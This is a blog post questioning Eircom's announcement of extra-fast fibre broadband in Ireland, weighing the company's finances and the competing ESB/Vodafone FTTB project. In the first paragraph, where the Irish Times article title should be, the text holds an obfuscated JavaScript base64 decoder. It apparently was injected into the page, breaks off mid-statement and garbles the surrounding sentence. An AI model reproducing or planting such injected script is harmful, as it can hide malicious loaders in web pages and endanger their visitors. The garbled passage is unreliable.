Has Eircom unearthed a Pot of Gold?

Last week both the Fiberevolution blog and the Diffraction Analysis website crashed spectacularly, for which I apologise. It also means that I wasn't able to comment this piece of news at the time of its release, but I think it's worth discussing nonetheless, so I'll comment it now. The Irish Times relayed Eircom's announcement about FTTH deployment in an article entitled function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-1.1978690#">Eircom to offer extra-fast fiber broadband.

I'm normally quick to applaud such announcements, but in this particular case, I have a number of alarm bells ringing that I thought I would share.

The first, and most significant one, is that Eircom is broke. Or is that was broke? Maybe they have hired a good number of Leprechauns who all have invested their respective pots of gold in the company? More seriously, I'd have to see a pretty convincing business and financing plan before I'll believe this announcement.

The other thing is that the announcement is a thinly veiled response to the recently vetted ESB / Vodafone collaboration to deploy FTTB in urban Ireland. Now that project is going ahead, but it's a relatively small scale project as far as these things go: a €450m investment will get you (roughly) into 450k homes at best, which is about a quarter of Irish households. Not bad if they get that far, but not a massive deployment either. Also, direct competition with UPC in all of those areas most likely. So why would Eircom in response go into 66 towns and cities including (if the Irish Times piece is to be trusted) rural ones?

And incidentally, what happened to FTTC? That's a very recent investment for Eircom. Should we assume it's not working? Not that I'd be surprised, but still, it'd be nice to know...

I'm sorry but I just don't buy it. Maybe I should be quite so affirmative, but this smells of Fiber to the Press Release to me.

If you have data that points to the contrary, please let me know, but until then, I'll treat this one with extreme caution.